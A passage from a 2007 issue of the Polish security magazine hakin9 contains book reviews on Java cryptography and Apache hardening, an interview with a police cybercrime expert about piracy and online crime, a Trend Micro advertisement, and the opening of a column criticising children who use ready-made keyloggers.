ki.  Pomimo  zastosowania  właści-
wych  standardów  i  metodyk  audy-
tów  systemów  informatycznych  or-
ganizacje  chętnie  zlecają  przepro-
wadzenie  audytów  firmom,  które 
posiadają  certyfikowanych  audy-
torów.  Takie  podejście  nie  wyklu-
cza,  lecz  minimalizuje  możliwość 
wystąpienia  błędu  ludzkiego  przy 
przeprowadzaniu  czynności  audy-
torskich.  Konsekwencją  przepro-
wadzenia  audytów  informatycz-
nych na wysokim poziomie jest do-
starczenie  rzetelnych  informacji, 
większa  ochrona  instytucji  przed 
niepożądanymi  zdarzeniami,  lep-
sze zabezpieczenie majątku firmy i 
racjonalne wykorzystanie zasobów 
informatycznych. l

O autorze

Wojciech Malec – audytor wewnętrzny 
Systemu  Zarządzania  Jakością,  spe-
cjalista  w  zakresie  ochrony  informacji 
prawnie  chronionych,  odpowiedzialny 
za  implementacje  zasad  bezpieczeń-
stwa  w  nowych  projektach  informa-
tycznych. Redaktor portalu http://www.
ochronainformacji.pl

Kontakt z autorem: 
w.malec@ochronainformacji.pl
.

background image

hakin9 Nr 10/2007

www.hakin9.org

72

Księgozbiór

Kryptografia w Javie. Od podstaw

Tytuł: Kryptografia w Javie. Od podstaw

Autor: David Hook

Wydawca: Helion

Rok wydania w Polsce: 2006

Strony: 512

Jak  istotna  w  dzisiejszym  świecie  jest  kryptografia, 
nikomu raczej nie trzeba tłumaczyć. Co jednak zrobić, 
by  nasza  aplikacja  była  jednocześnie  wydajna  i  bez-
pieczna? Jak w jednym z najpopularniejszych i najszyb-
ciej  rozwijających  się  języków  programowania  został 
rozwiązany problem szyfrowania? Za główny cel autor 
postawił  sobie  przybliżyć  Czytelnikowi  wszystkie  te 
zagadnienia w sposób jak najbardziej przystępny. 

Co znajdziemy w książce? Pierwsze pięć rozdziałów 

dotyczy  podstaw,  czyli  przede  wszystkim  interfejsów 
(JCE, JCA) z wykorzystaniem dostawcy Bouncy Castle 
oraz podstaw kryptografii, takich jak szyfry symetrycz-
ne, asymetryczne, skróty wiadomości (MAC, HMAC), a 
także  również  konkretne  algorytmy:  RSA,  DSA.  Kolej-
ne rozdziały to już prawdziwa gratka dla osób poważnie 
zajmujących  się  tą  dziedziną  informatyki.  Przejdziemy 
poprzez notację ASN.1, operacje na certyfikatach, CMS 
i  S/MIME,  na  SSL  i  TLS  kończąc.  Jako  dodatek  znaj-
dziemy  skrót  terminów  i  ważniejszych  zagadnień,  roz-
szerzenie tematów (np. krzywe eliptyczne) i podzieloną 
tematycznie bibliografię.

Pierwsze, na co zwróciłem uwagę, to bardzo dobry 

podział  merytoryczny  treści.  Autor  wybrał  schemat: 
opisjak to działaspróbuj sam i konsekwentnie prze-
strzega go, aż do samego końca. Ma to istotny wpływ 
przy  poszukiwaniu  odpowiedzi  na  konkretne  pytania, 
gdyż  zapobiega  bezsensownemu  wertowaniu  stron. 
Przykłady  są  dobrane  do  konkretnego  zagadnienia  i 
nie  zawierają  zbędnych  dodatków.  Spodobało  mi  się, 
że autor nie zasypuje Czytelnika olbrzymią liczbą pro-
fesjonalnych
 terminów, dzięki czemu czyta się tę pozy-

cję dość przyjemnie. Dużym atutem są również przy-
kłady operacji szyfrowania na strumieniach, m. in. pli-
kach.

Z minusów należy wymienić fakt, że dowiemy się tylko 

i  wyłącznie  o  jednym  dostawcy  klas  implementujących 
SPI  (Service  Provider  Interface)  –  Bouncy  Castle,  któ-
rego jednym z założycieli jest autor. Użyte klasy narzę-
dziowe w następujących po sobie rozdziałach są kolejny-
mi rozszerzeniami poprzednich, co bywa uciążliwe, gdy 
chcemy szybko wykorzystać daną klasę w swoim projek-
cie. Całość obejmuje J2SE 5.0, więc próżno szukać przy-
kładów  z  wykorzystaniem  JEE.  Przy  pierwszym  czyta-
niu omawianie poszczególnych metod może być nużące, 
jednak gdy zajdzie potrzeba dotarcia do szczegółowych 
informacji o wybranej funkcji, jest to wysoce przydatne.

Podsumowując – nie jest to książka idealna, gdyż autor 

w  pewnych  obszarach  poszedł  na  kompromis  pomiędzy 
oczekiwaniami  zaawansowanych  i  początkujących  pro-
gramistów. Mogę jednak śmiało stwierdzić, że Kryptogra-
fia w Javie
 to dobra pozycja, w której znajdziemy zarów-
no dobrze przygotowaną teorię, jak i przepis na praktycz-
ne  zastosowanie  nabytej  wiedzy  –  dość  aktualnej,  gdyż 
obejmującej J2SE 5.0. Polecam ją zarówno słabo orien-
tującym się w tematyce, jak i tym, którzy napisali już nie-
jeden kod, gdyż każdy, kto zajmuje się tworzeniem opro-
gramowania w Javie, znajdzie w niej coś dla siebie. Z pew-
nością nie jest to książka, którą po przeczytaniu odstawia 
się na półkę, ponieważ do opisów poszczególnych metod 
i szczegółowych rozwiązań z pewnością czytelnicy wrócą 
nie raz w trakcie tworzenia swoich aplikacji.

Marcin Kulawinek

Apache. Zabezpieczenia aplikacji 

i serwerów WWW

Tytuł: Apache. Zabezpieczenia aplikacji i serwerów www

Autor: Ryan C. Barnett

Wydawca: Helion

Rok wydania w Polsce: 2007

Strony: 544

Apache  jest  jednym  z  najpopularniejszych  serwerów, 
właściwe jego zabezpieczenie może być wyzwaniem nie 
tylko  dla  początkujących  administratorów,  ale  także  dla 

tych bardziej zaawansowanych. Można się o tym przeko-
nać przeglądając niemal codziennie pojawiające się wia-
domości na temat podmienienia witryny czy też przepro-

background image

wadzenia udanego ataku na jakiś serwis. Ryan C. Bar-
nett  w  swojej  książce  Apache.  Zabezpieczenia  aplika-
cji i serwerów WWW
 postawił sobie niełatwy cel, jakim 
jest opisanie procesu zabezpieczenia serwera oraz takiej 
nim  administracji,  która  zminimalizuje  ryzyko  udanego 
włamania.

Książka  w  pierwszym  rozdziale  przedstawia  ogólne 

czynniki  mające  wpływ  na  bezpieczeństwo  Sieci  i  uka-
zuje istotną rolę systemu operacyjnego oraz aplikacji w 
dziedzinie  zabezpieczeń.  Kolejne  rozdziały  koncentru-
ją się już na bezpieczeństwie serwera Apache. Tak więc 
mamy  tu  opis  instalacji  (wraz  z  przykładami  poprawnej 
konfiguracji),  przy  czym  zostały  pokazane  dwie  możli-
we drogi: jedna polega na instalacji serwera z pakietów 
binarnych, druga – preferowana przez autora – to samo-
dzielna kompilacja z plików źródłowych. Kontynuując lek-
turę, dowiadujemy się o sposobach wykrywania i reago-
wania  na  włamania  do  systemu,  metodach  testowania 
zabezpieczeń serwera za pomocą odpowiednich narzę-
dzi,  a  także  poznajemy  opis  najważniejszych  modu-
łów  przeznaczonych  do  zabezpieczenia  aplikacji  oraz 
samego serwera. Gdy już zapoznamy się z tymi rozdzia-
łami, przyjdzie nam sprawdzić nowo nabyte umiejętności. 
Rozdział ósmy służy właśnie temu celowi i może zapew-

nić niezłą zabawę, spełniając przy tym swój podstawowy 
cel – czyli nauczenie administratora Apache myśleć tak, 
jak włamywacz (przynajmniej takie jest założenie), dzięki 
czemu będzie mógł przewidywać ewentualne drogi ataku 
i  zapobiegać  im  skuteczniej.  Następnie  będziemy  mieli 
okazję zapoznać się z otwartym serwerem proxy skon-
figurowanym jako system-pułapka oraz olbrzymią ilością 
danych o atakach, zgromadzonych przez ten serwer. Ma 
to istotny związek z problematyką wykorzystania serwe-
ra Apache w zabezpieczaniu Sieci oraz pomaga zapre-
zentować  opisane  wcześniej  metody  ochrony.  Całość 
zamyka podsumowanie przedstawionych w książce roz-
wiązań.

Książka  zawiera  naprawdę  solidną  porcję  wiedzy 

wzbogaconą  licznymi  przykładami,  dzięki  czemu  czyta 
się  ją  lekko  i  przyjemnie.  Myślę,  że  można  ją  polecić 
każdemu  użytkownikowi  serwera  Apache,  a  szczegól-
nie  tym,  którzy  są  zainteresowani  jak  najlepszym  jego 
zabezpieczeniem przed intruzami.

Mariusz Świercz

Serdeczne  podziękowania  dla  wydawnictwa  Helion,  za 
udostępnienie książek do recenzji.

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 10/2007

74

Wywiad

hakin9:

  Proszę  powiedzieć  Czytelnikom  kilka 

słów o sobie – ile czasu pracuje Pan w policji, ja-
ki ma Pan staż na poszczególnych stanowiskach, 
jakimi sukcesami może się Pan pochwalić?

Zbigniew Urbański:

 W policji pracuję od 1991 

roku. Zaczynałem od zwykłej pracy w prewencji – 
przez 1,5 roku po prostu patrolowałem ulice. Było 
to w Poznaniu. Potem powstał w Komendzie Wo-
jewódzkiej w Poznaniu nowy wydział ds. Przestęp-
czości Gospodarczej (PG) i zatrudniono mnie tam 
na stanowisku asystenta, ale praktycznie przez 6 
miesięcy byłem kierowcą i przyglądałem się pra-
cy kolegów. Piractwem zacząłem się interesować 
w 1994 roku, a swoją działalność w tym zakresie 
rozpocząłem od... ścigania piractwa na bazarach. 
Piractwo zaczęło panoszyć się także w Internecie 
i tak to się wszystko potoczyło.

h9:

 Jak wygląda walka z przestępczością in-

ternetową i piractwem? Czy są w nią zaangażo-
wane specjalne zespoły skupiające specjalistów 
IT, ile jest takich zespołów w Polsce?

ZU: 

Pod koniec lat 90-tych Komenda Głów-

na  Policji  wyszła  z  inicjatywą,  aby  przeszko-
lić  jak  największą  liczbę  policjantów,  którzy  już 
pracowali w PG i mieli odpowiednie wykształce-
nie, a także byliby chętni nabyć wiedzę pod ką-
tem hi–tech. Później tacy policjanci mieli wrócić 
do swoich jednostek i szkolić w nich kaskadowo 
kolejnych policjantów. Taki cykl szkoleń rozpoczął 
się w 2000 roku. Wykładowcami byli policjanci z 

prawie wszystkich krajów Unii Europejskiej i nie 
tylko (Niemcy, Francuzi, Holendrzy, Anglicy, Hisz-
panie, przedstawiciele FBI czy Secret Service). 
Początek tych szkoleń był bardzo zabawny, szko-
leniowcy przyjeżdżając do Polski myśleli, że tra-
fili do kraju, gdzie poziom wiedzy informatycznej 
jest bardzo niski i zaczynali od uczenia nas bu-
dowy komputera. Naszą dotychczasową wiedzą 
zburzyliśmy  im  cały  proces  szkolenia.  Kolejne 
szkolenia oczywiście odbywały się już na zupeł-
nie innym poziomie. Dawano nam różne zadania 
takie jak steganografia, nauka programu nCase 
do odzyskiwania danych, odszyfrowanie danych 
zapisanych na dysku czy łamanie haseł. I to się 
udało! Te szkolenia trwają do dnia dzisiejszego, 
wspomniana  grupa  policjantów  jest  najczęściej 
szkoloną grupą zawodową w całej policji (oprócz 
antyterrorystów). Potrzebne są ciągłe szkolenia, 
ponieważ ta dziedzina wiedzy się wciąż zmienia, 
powstają nowe techniki i narzędzia. Prosty przy-
kład: kiedy zaczynaliśmy poznawać nCase, była 
to wersja 3, a w tej chwili jest już 6. Jesteśmy wła-
śnie po takim szkoleniu – okazuje się, że zmiany, 
jakie wprowadza producent programu, są tak po-
ważne i skomplikowane, że trzeba na nowo or-
ganizować szkolenia (najczęściej są one dwuty-
godniowe). 

h9:

  Czy  takie  szkolenia  odbywają  się  stan-

dardowo w szkole policyjnej, czy też można okre-
ślić je jako bardziej elitarne?

Wywiad z komisarzem 

Zbigniewiem Urbańskim

Zbigniew Urbański

W policji pracuje od 1991 roku, 

zaczynał od prewencji, obecnie jest 

komisarzem, ekspertem do spraw 

przestępczości internetowej.

background image

ZU: 

Są to szkolenia specjalistyczne, techniczne. Odby-

wają się zazwyczaj w Legionowie, gdzie znajduje się Mię-
dzynarodowe Centrum Policji i pracuje wykwalifikowana ka-
dra szkoleniowa. Znajduje się tam odpowiednia sala multi-
medialna, specjalnie przygotowana do takich szkoleń.

h9:

 Czy możemy mówić o konkretnej polityce policji ds. 

zwalczania przestępczości internetowej i kradzieży własno-
ści intelektualnej? Czy są prowadzone szkolenia, kto w nich 
uczestniczy (szeregowi, oficerowie, ochotnicy)? Jak wyglą-
da zaplecze sprzętowe, laboratoria w jakich pracują Pań-
stwa specjaliści?

ZU:

 Z jednej strony działalność policji należy pojmować 

jako całość, ale w tym wypadku rzeczywiście można po-
wiedzieć o takiej konkretnej polityce. Nas swego czasu me-
dia nazywały Cyberszeryfami – to trochę zabawne, ale chy-
ba coś w tym jest. My oczywiście pracujemy w rzeczywi-
stym świecie, a nie w wirtualnym, ale jesteśmy policjantami 
naprawdę dobrze przeszkolonymi - głównie do zwalczania 
przestępczości komputerowej i internetowej.

h9:

 Słyszymy czasem o tzw. zapaleńcach, którzy do-

szkalają się na własny rachunek i drążą konkretne tematy. 
Czy może Pan podać jakiś konkretny przykład?

ZU: 

Większość  policjantów  do  niedawna  (bo  chwi-

li obecnej staramy się, żeby to jednak byli informatycy), w 
tym  wielu  moich  kolegów  i  ja  sam  uczyliśmy  się  na  wła-
snych albo pożyczonych komputerach. Jak dobrze pamię-
tam, w roku 1993 czy 1994, komputer w policji to była cie-
kawostka, więc ja uczyłem się jego obsługi na komputerze 
kolegi. Stwierdziłem kiedyś, że to ma ogromną przyszłość 
i wraz z rozwojem technologii informatycznych będzie po-
stępowała też przestępczość komputerowa. Jeżeli policjan-
ci jadą na przeszukanie – czy to do firmy, czy do mieszka-
nia prywatnego – to zwykle na miejscu jest jakiś komputer 
i trzeba go przeszukać, jeśli nie ma samego komputera, to 
są płyty, dyskietki, które musimy przejrzeć, podobnie jest 
z telefonem. Mamy urządzenia do odczytywania danych z 
urządzeń, które mają możliwość zapisu danych na różnego 
rodzaju nośnikach.

h9:

 Jak wygląda proces wykrywania nielegalnego opro-

gramowania w firmach – od momentu zgłoszenia o prze-
stępstwie do zatrzymania?

ZU:

 Ten proces wygląda bardzo różnie. Osobiście pa-

miętam przypadek, kiedy zgłosił się do nas były pracow-
nik firmy, który zgłosił, że korzysta ona z nielegalnych sys-
temów operacyjnych. Oczywiście, jeżeli otrzymujemy takie 
informacje, to sami musimy to sprawdzić i to jest żmudna 
praca. Nie można tak po prostu wejść do firmy, staramy się 
najpierw w jakiś inny sposób potwierdzić te informacje. My 
nie robimy kontroli, kiedy już wchodzimy do firmy, to musi-
my mieć do tego solidne podstawy, a także nakaz prokura-
tora. Jeśli jednak już się to stanie, rozpoczyna się żmudna 
praca logistyczna – trzeba odpowiedzieć na pytanie, jak w 
należyty sposób zabezpieczyć 100 komputerów. Do każde-
go komputera powinien być przypisany jeden policjant, któ-
ry miałby pilnować, aby nikt nie miał do niego dostępu i nic 
z tym komputerem nie mógł już zrobić. Od momentu zabez-
pieczenia komputera każda operacja na nim powinna być 

background image

hakin9 Nr 10/2007

www.hakin9.org

Wywiad

76

odnotowana  –  nawet  pojedynczy  ruch  myszką.  Spisywa-
ne są wszystkie części komputerowe. Przez cały czas to-
warzyszy nam osoba wyznaczona przez firmę i przygląda 
się naszym działaniom, później zaś podpisuje się pod pro-
tokołem.

h9: 

Jak wyglądają wyroki w takich sprawach? Czy są 

to niskie kary w zawieszeniu, czy może takie o których mó-
wi się w telewizji? Czy te wyroki mogą odstraszyć potencjal-
nych przestępców? Jakie kary pieniężne nakładane są na 
firmy używające nielegalnego oprogramowania?

ZU:

 Tak naprawdę nie wiemy, jakie są wyroki. Nasza 

praca kończy się, kiedy prokurator kieruje całą sprawę do 
sądu.  Najczęściej  w  sprawach  o  naruszenie  praw  autor-
skich zapadają wyroki w zawieszeniu na 3 lata. Zawsze na-
kładana jest kara grzywny, są to kwoty od kilkunastu do kil-
kuset  tysięcy  złotych.  Często  producent  oprogramowania 
występuje  jeszcze  na  drogę  cywilną,  domagając  się  od-
szkodowania. Bywały przypadki, kiedy firmy musiały zapła-
cić odszkodowania w wysokości 400 tysięcy złotych. 

h9: 

Jak kształtuje się poziom piractwa w Polsce ?

ZU:

 Nie prowadzimy sami takich badań, ale słyszałem 

ostatnio,  że  odnotowuje  się  spadek  poziomu  piractwa  w 
Polsce. Moim zdaniem, jest on jeszcze niestety za wysoki. 
Zdajemy sobie sprawę z tego – zresztą podobnie jak produ-
cenci oprogramowania – że nie da się wyeliminować pirac-
twa całkowicie. Wszystko się przeniosło teraz do Interne-
tu. Kiedyś biegaliśmy po stoiskach i przeszukiwaliśmy tor-
by czy kwietniki, natomiast teraz jest to praca za biurkiem, 
przy monitorze.

h9:

  Czy  korzystanie  z  nielegalnego  oprogramowania 

przez użytkowników (na własny użytek) jest tak samo po-
strzegane z punktu prawnego jak używanie tego oprogramo-
wania przez firmy lub osoby, które czerpią z tego profity?

ZU:

  Polskie  prawo  jest  tak  skonstruowane,  że  każde 

używanie nielegalnego oprogramowania jest karalne. Jeżeli 
ktoś wykorzystuje takie oprogramowanie w pracy czy do za-
bawy w domu - popełnia przestępstwo. Jednak w przypad-
ku, gdy ktoś prowadzi działalność gospodarczą i czerpie z 
nielegalnego oprogramowania korzyści materialne – podle-
ga wyższej karze. 

h9:

 Czy w Polsce odnotowuje się ataki hakerskie w celu 

uzyskania korzyści materialnych, np. kradzieże pieniędzy z 
kont bankowych, wartościowych danych? Może Pan poku-
sić się o jakiś przykład?

ZU:

 Zanotowaliśmy ok. 200 zgłoszeń dotyczących ata-

ków  hakerskich  w  Polsce,  a  to  jest  bardzo  mało.  Z  dru-
giej strony, często znaleźć można w Internecie – na róż-
nych blogach czy forach – wypowiedzi osób chwalących 
się  swoimi  udanym  atakami,  np.  że  udało  się  podmienić 
coś na określonej witrynie czy uzyskać dostęp do pewnych 
poufnych danych. My jednak na podstawie tego nie może-
my nic zrobić, dopóki zaatakowana organizacja sama nam 
tego nie zgłosi. Rzadko się zdarza, że otrzymujemy zgło-
szenia o kradzieży cennych danych. Najczęściej dociera-
ją do nas zgłoszenia o atakach DDoS, które utrudniają pra-
cę serwera. Zdarzały się sytuacje, że ktoś żądał kwot pie-
niężnych za oddanie danych okradzionej firmie, sprawy ta-

kie kończyły się naszym sukcesem z naszej strony i zatrzy-
maniem takiej osoby.

h9:

  Czy  jest  prawdą,  że  banki  nie  ujawniają  informacji 

o fakcie – udanego bądź nie – ataku na ich placówki ze wzglę-
du na opinię publiczną i zagrożenie ze strony prasy, konkuren-
cji? Czy banki są zdolne nawet do niepowiadamiania policji o 
udanym ataku, bojąc się, że taki news obiegnie kraj?

ZU: 

Nie wiem, czy takie sytuacje mają miejsce, gdyż po 

prostu  nie  posiadam  takich  informacji.  To,  co  się  dzieje  po 
stronie  banku,  jest  wyłącznie  jego  sprawą.  Ja  mogę  tylko 
powiedzieć, że z bankami współpracuje się nam bardzo do-
brze. Jest to współpraca w zakresie płatności elektronicznych, 
robienia nakładek skanujących karty na bankomaty czy walki z 
przypadkami dokonywania zakupów kradzioną kartą. Nie od-
notowaliśmy przypadków włamań na systemy bankowe.

h9:

  Czy  w  Polsce  możemy  mówić  o  zorganizowanej 

przestępczości internetowej, czy mamy raczej do czynienia 
z pojedynczymi osobami?

ZU: 

Tak, możemy w tym wypadku mówić o zorganizo-

wanej przestępczości internetowej. Była taka duża sprawa 
na  południu  Polski,  dotyczyła  oczywiście  piractwa.  Prze-
stępcy  byli  tak  dobrze  zorganizowani,  że  posiadali  nawet 
serwer,  który  przewozili  z  miasta  do  miasta,  żeby  ich  nie 
namierzyć. Byli podzieleni na grupy osób, z których część 
kontaktowała się z osobami ze Stanów Zjednoczonych, ma-
jącymi dostęp do najnowszych plików muzycznych czy fil-
mów. Ukradzione materiały były później sprzedawane oso-
bom zainteresowanym w Polsce. Występował tu wyraźny 
podział ról: jedni byli odpowiedzialni za zakupy na Zacho-
dzie, inni robili kopie czy obsługiwali serwer, jeszcze kolejni 
prowadzili sprawy finansowe szajki. Tak naprawdę przez In-
ternet nietrudno się zorganizować, nawet nie trzeba się wi-
dzieć i znać. Dla nas oznacza to utrudnienie – przesłucha-
nia takich osób nam niewiele dają, gdyż one się najzwyczaj-
niej w świecie nie znają. Musimy w naszej pracy opierać się 
więc na danych elektronicznych. Z drugiej strony są to do-
bre dowody, bo ciężko je podważyć w sądzie. 

h9:

 Jak wygląda status prawny eMule, Kazaa, YouTu-

be? Czy osobie ściągającej materiały z tych serwisów bądź 
klientów p2p na własny użytek grozi jakaś kara? Czy taka 
działalność jest monitorowana i czy użytkownik ściągający 
100 MB na tydzień tak samo jest postrzegany, jak ten który 
pobiera 10 GB tygodniowo?

ZU:

  Generalnie  nie  interesujemy  się  osobami,  które 

ściągają  materiały,  tylko  tymi,  które  je  udostępniają,  roz-
powszechniają.  Działania  nasze  inspirowane  są  głównie 
przez firmy, które reprezentują właścicieli utworów. Ludzie 
ci się organizują, przeszukują Internet oraz monitorują sieci 
p2p. Później przekazują nam dane dotyczące konkretnych 
przypadków transferu danych wraz z wnioskiem o ściganie. 
Oczywiście, jeżeli my trafimy podczas monitorowania sie-
ci na tzw. grubą rybę, która udostępnia przykładowo 5 tera-
bajtów danych, to sami podejmujemy działania – nie sposób 
przejść obok czegoś takiego obojętnie. Jednak ci, którzy je-
dynie ściągają dane, nie popełniają przestępstwa. 

h9: 

Dziękujemy za rozmowę.

ZU:

 Dziękuję.

background image

TREND MICRO DLA MSP

Firmy IT oczekują kompleksowej ochrony w zakre-
sie  bezpieczeństwa  poczty  i  dostępu  do  Interne-
tu. Jednocześnie administracja rozwiązań bezpie-
czeństwa musi być przyjazna i intuicyjna, a cena 
nie może być zbyt wysoka – mówi Filip Demianiuk, 
inżynier Trend Micro. 

Takie kompleksowe rozwiązania specjalnie dla 

MSP przygotowała firma Trend Micro. Na szczegól-
ną uwagę zasługują następujące produkty: Client/
Server  Security  for  SMB,  Client/Server/Messaging 
Security for SMB, Interscan Viruswall for SMB, Ne-
atsuite  for  SMB,   Anti-Spyware  for  SMB.  Warto  też 
wspomnieć w tym miejscu o rozwiązaniu hardwe-
arowym IGSA, które skanuje ruch webowy i pocz-
towy. 

Client/Server  Security  for  SMB  to  pakiet prze-

znaczony  dla  firm,  w  których  liczba  stacji  robo-
czych nie przekracza 250. Zapewnia pełną ochro-
nę tych  stacji  oraz  serwerów  pracujących  pod 
kontrolą systemu Microsoft Windows przed zagro-
żeniami  takimi  jak  wirusy,  robaki,  trojany,  ataki 
hakerów,  spyware  oraz  rootkity. Konfigurowanie 
pakietu oraz zarządzanie nim odbywa się poprzez 
konsolę dostępną przez przeglądarkę internetową 
i jest na tyle proste, iż nie wymaga od użytkownika 
specjalistycznej wiedzy z zakresu informatyki. 

Podobny  charakter  ma  system  Client/Server/

Messaging  Security  for  SMB.  Stworzono  go  z  my-
ślą  o  skutecznej  walce  z  wirusami  i  spamem. 
Zapewnia  ochronę  250  stacji  roboczych,  serwerów 
plikowych oraz serwerów pracy grupowej Microsoft 
Exchange.  Administrator  ma  możliwość  używania 
jednego  rozwiązania  do  jednoczesnej,  kompletnej 
ochrony antywirusowej i antyspamowej sieci przed-
siębiorstwa. Centralne zarządzanie poprzez specjal-

ną  konsolę  dostępną  poprzez  przeglądarkę  inter-
netową  zapewnia  kontrolę  nad  ochroną  antywiru-
sową sieci w całej firmie. Łatwa instalacja i prosto-
ta obsługi powoduje, że pakiet może być wdrażany i 
administrowany nawet przez użytkowników, którzy 
nie mają fachowej wiedzy z zakresu informatyki. 

Interscan  Viruswall  for  SMB  to  z  kolei  pro-

gram przeznaczony do ochrony bramki interneto-
wej przed zagrożeniami takimi jak wirusy, robaki, 
trojany,  spam  itp.  Jego  sprzętowy  odpowiednik, 
to  appliance  IGSA.  Ochrona  przed  wspomnianymi 
zagrożeniami  realizowana  jest  poprzez  bieżące 
skanowanie  poczty  elektronicznej  (ruch  poprzez 
protokoły  SMTP,  POP3),  ruchu  przez  przeglądar-
kę  internetową  (HTTP)  oraz  ruchu  związanego 
z  pobieraniem  plików  z  serwerów  FTP.  Zagrożenia 
są  identyfikowane  i  usuwane  już  na  poziomie 
bramki  internetowej  zanim  dotrą  do  stacji  robo-
czych  czy  serwera  pocztowego,  co  zapobiega 
rozprzestrzenianiu się infekcji wirusowych. Ochro-
na  antywirusowa  realizowana  jest  w  oparciu 
o  bazę  sygnatur  wirusów,  która  jest  na  bieżąco 
aktualizowana przez firmę Trend Micro, jak i mecha-
nizmy  heurystyczne  (IntelliTrap).  Ochronę  anty-
spamową  zapewniają  największe  na  świecie  listy 
statyczne  RBL+  i  dynamiczne  QIL  oraz  heury-
styczny  moduł  antyspamowy,  którego  stopień 
czułości można regulować w zależności od stopnia 
ochrony jaki chcemy uzyskać. Program umożliwia 
również filtrowanie zawartości poczty elektronicz-
nej oraz zawartości stron WWW.

Neatsuite  for  Small  and  Medium  Business 

to  połączenie Client  Server  Messaging  Security 
for  Small  and  Medium  Business  oraz  InterScan 
VirusWall 6.0. Łączy w sobie zalety obu wspomnia-

nych  produktów. Dodatkowo  umożliwia  filtrowa-
nie  zawartości  poczty  elektronicznej  i  zawarto-
ści  stron  WWW  oraz  blokowanie  transferu  plików 
z  Internetu.  Administrator  może  więc używać 
jednego  rozwiązania  do  ochrony  antywirusowej 
i antyspamowej.  Łatwa instalacja i obsługa powo-
duje,  że  pakiet  może  być  wdrażany  i  administro-
wany nawet przez użytkowników, którzy nie mają 
fachowej wiedzy z zakresu informatyki. 

Wreszcie  Anti-Spyware  for  SMB.  Służy  do 

ochrony stacji roboczych i serwerów przed progra-
mami szpiegowskimi (spyware). Skutecznie bloku-
je  i  usuwa  spyware,  włącznie  z  programami  typu 
adware, rejestrującymi naciśnięcia klawiszy (key-
logger), wyłączającymi zabezpieczenia i przejmu-
jącymi kontrolę nad przeglądarką, które powodują 
uszkodzenia zasobów firmy i negatywnie wpływają 
na jej wydajność oraz kradną informacje.  Program 
zapewnia  centralną  instalację,  administrację  oraz 
konfiguracje  dostepną  poprzez  Webową  konso-
lę  zarządzającą.  Dzięki  automatycznej  aktualiza-
cji oraz ochronie w czasie rzeczywistym program 
Trend Micro Anti-Spyware for SMB zapewnia najlep-
szą ochronę anty-spyware. 

Trend  Micro  uruchomił  wspólnie  z  Dagmą 

Sp. z o.o., dystrybutorem rozwiązań z zakresu bez-
pieczeństwa IT, nowy program partnerski dla resel-
lerów obsługujących rynek małych i średnich firm. 
Dagma Sp. z o.o., która współpracuje z Trend Micro 
już  od  ośmiu  lat,  staje  się  obecnie  strategicznym 
partnerem  tej  firmy  na  rynku  MSP.  Klienci  otrzy-
mali dzięki temu łatwy dostęp do kompleksowych 
rozwiązań  z  zakresu  bezpieczeństwa.  Więcej 
informacji na temat produktów Trend Micro można 
znaleźć na stronie

 www.trendmicrosmb.pl.

Reklama

Liczba rosnących zagrożeń związanych z wykorzystaniem komputerów 

i Internetu spowodowała, że sektor SMB zaczął bardzo poważnie traktować 

sprawy bezpieczeństwa IT. 

DAGMA Sp. z o.o. – dystrybutor 
TREND MICRO w Polsce
ul. Pszczyńska 15
40-478 Katowice
tel. (32) 259 11 00
www.dagma.pl 
sales@dagma.pl 
www.trendmicrosmb.pl

Kontakt:

background image

hakin9 Nr 10/2007

www.hakin9.org

78

Felieton

R

ozwój  mediów  i  rosnąca  liczba  zainteresowa-
nych  bezpieczeństwem  sieciowym  przyczy-
nia  się  do  rozrostu  grup  użytkowników  Inter-

netu, których po prostu mogłoby nie być. Czasem są 
to  ludzie  denerwujący  innych  użytkowników,  a  cza-
sami  niewinne  nastolatki  szukające  zabawy  i  rozryw-
ki.  Jest  to  kłopot  dzisiejszego  społeczeństwa  głów-
nie z powodu rosnącej liczby przestępstw sieciowych. 
Kiedyś mało kto znał pojęcie haker bądź przestępstwa 
komputerowe.

Kto pamięta grę Pacman lub Pong? Nie – wcale nie 

wydziwiam.  Te  stare,  można  powiedzieć  oldschoolowe 
gry  do  dzisiaj  są  pamiętane  przez  starszyznę.  Pamię-
tam, że sam się wychowałem na starej, poczciwej kon-
soli Pegasus z paroma dyskietkami do wyboru. Podsta-
wówka tego w ogóle nie zna. Dlaczego? Odpowiedź jest 
bardzo prosta. Po pierwsze Tibia, która jest zmorą wiszą-
cą nad głowami setek tysięcy młodych umysłów. Jest to 
według  mnie  jedna  z  najbardziej  demoralizujących  gier 
przeznaczonych  dla  odbiorców  w  młodym  wieku.  Ile  to 
razy można przeczytać wypowiedź typu Cześć, pomoże-
cie? Jakiś typek ukradł mi dużo rzeczy w Tibii i chciałbym 
się  jakoś  odpłacić.  Jest  może  do  tego  jakiś  program?. 
Dalszą  część  tej  niezdrowej  rozmowy  wyobrazić  może 
sobie każdy. W dzisiejszych czasach prawie każdy dzie-
ciak marzy o przygodach, a duża część z nich przygody 
te kojarzy z komputerem i Siecią. Można zauważyć, jak 
na  naszych  oczach  rosną  małe  stworki  przystosowane 
do gotowych programów typu VSK Keylogger, czy innych, 
które  (nie  okłamujmy  siebie)  pomagają  w  codziennym 
życiu. Trzeba jednak wiedzieć coś na temat, którym się 
chce zająć, trzeba choćby w małej mierze łyknąć trochę 
wiedzy. Dzieciaki na pytanie typu: Mogę mieć dostęp do 
GG kolegi?
 dostają w odpowiedzi linki do różnego typu 
oprogramowania. Ale co dalej? Wcale nie myślą nad tym, 
co robią. Wyobrażają sobie dobrą zabawę w szkole, gdy 
zobaczą twarz kolegi, który właśnie pozbył się GG. Nie 
dość, że dostaną program podany na tacy i małą podpo-
wiedź typu SE lub Socjotechnika, to i tak nie potrafią tego 
często wykorzystać. I już szykuje się następne pytanie, 
Co to jest SE? Czy nie dość już tego?

Gdzie się podziały czasy, gdy szanowano sam Inter-

net, jak i każdego użytkownika? Teraz dzięki zmiennym 

Druga strona medalu

IP  tworzy  się  grupa  userów  zwana  dziećmi  neostra-
dy lub trollami. Ich rola ogranicza się głównie do zatru-
wania  rozmów  na  forach,  kanałach  IRC  czy  też  gru-
pach  dyskusyjnych.  Myślę,  że  każdy  z  nas  zna  poję-
cie troll w sieciowym znaczeniu. Co przyczyniło się do 
stworzenia się tej warstwy społeczeństwa sieciowego? 
Niech każdy odpowie sobie sam na to pytanie. Rozwój 
Internetu i jego dostawców. Nie neguję w tym momen-
cie TP, ale zwracam uwagę na problem, jaki stworzyli-
śmy sobie sami. Chcieliśmy anonimowości i nieuchwyt-
ności? Mamy proxy, mamy TOR, ale mamy też i TP. Dla 
niektórych  jest  to  wygodne,  ale  nie  wszyscy  podziela-
